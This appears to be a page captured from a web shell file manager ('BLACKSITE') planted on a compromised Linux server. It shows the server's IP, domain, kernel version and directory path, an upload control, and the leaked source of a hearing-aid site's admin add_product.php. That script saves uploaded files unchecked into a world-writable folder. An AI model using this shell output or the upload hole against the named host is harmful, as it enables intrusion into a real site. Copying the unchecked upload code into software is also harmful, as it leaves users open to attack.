BLACKSITE
:
216.73.216.62
:
147.93.18.13 / vinyasaweddings.com
:
Linux srv667811 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
:
/
var
/
www
/
insonohearing
/
admin
/
Upload File:
files >> /var/www/insonohearing/admin/add_product.php
<?php require __DIR__ . '/../db.php'; // adjust path if needed // Handle form submission if ($_SERVER['REQUEST_METHOD'] === 'POST') { $name = $_POST['name']; $details = $_POST['details'] ?? []; // Handle image uploads $imagePaths = []; if (!empty($_FILES['images']['name'][0])) { $uploadDir = 'uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true); } foreach ($_FILES['images']['tmp_name'] as $key => $tmpName) { $filename = basename($_FILES['images']['name'][$key]); $targetPath = $uploadDir . time() . '_' . $filename; if (move_uploaded_file($tmpName, $targetPath)) { $imagePaths[] = $targetPath; } } } try { // Insert into products table $stmt = $conn->prepare("INSERT INTO products (name, images) VALUES (:name, :images)"); $stmt->execute([ ':name' => $name, ':images' => json_encode($imagePaths), ]); $productId = $conn->lastInsertId(); // Insert each detail $detailStmt = $conn->prepare("INSERT INTO product_details (product_id, detail_key, detail_value) VALUES (:product_id, :detail_key, :detail_value)"); foreach ($details as $detail) { $detailStmt->execute([ ':product_id' => $productId, ':detail_key' => $detail['key'], ':detail_value' => $detail['value'], ]); } echo "<div class='alert alert-success text-center'>Product added successfully!</div>"; header("Location: index.php?page=all_product"); exit; } catch (PDOException $e) { echo "<div class='alert alert-danger'>Error: " . $e->getMessage() . "</div>"; } } ?> <!-- HTML part (same as before) --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Add Product</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> <link rel="icon" href="https://insonohearing.com/assets_b/img/favicon-32x32.png" type="image/png" sizes="32x32"> <link rel="icon" href="https://insonohearing.com/assets_b/img/favicon-32x32.png" type="image/png" sizes="16x16"> <style> .detail-row { margin-bottom: 10px; } </style> </head> <body> <div class="container mt-5"> <h2>Add Product</h2> <form method="post" enctype="multipart/form-data"> <!-- Name --> <div class="form-group"> <label for="productName">Name</label> <input type="text" class="form-control" id="productName" name="name" required> </div> <!-- Images --> <div class="form-group"> <label for="productImages">Images</label> <input type="file" class="form-control" id="productImages" name="images[]" multiple> </div> <!-- Dynamic Details --> <div class="form-group"> <label>Details</label> <div id="detailsContainer"></div> <button type="button" class="btn btn-sm btn-info mt-2" onclick="addDetail()">Add Detail</button> </div> <!-- Submit --> <button type="submit" class="btn btn-primary">Save Product</button> </form> </div> <script> let detailCount = 0; function addDetail() { detailCount++; const container = document.getElementById("detailsContainer"); const row = document.createElement("div"); row.classList.add("detail-row", "form-row"); row.setAttribute("id", "detailRow" + detailCount); row.innerHTML = ` <div class="col-md-5"> <input type="text" name="details[${detailCount}][key]" class="form-control" placeholder="Key" required> </div> <div class="col-md-5"> <input type="text" name="details[${detailCount}][value]" class="form-control" placeholder="Value" required> </div> <div class="col-md-2"> <button type="button" class="btn btn-danger" onclick="removeDetail(${detailCount})">X</button> </div> `; container.appendChild(row); } function removeDetail(id) { const row = document.getElementById("detailRow" + id); if (row) row.remove(); } </script> </body> </html>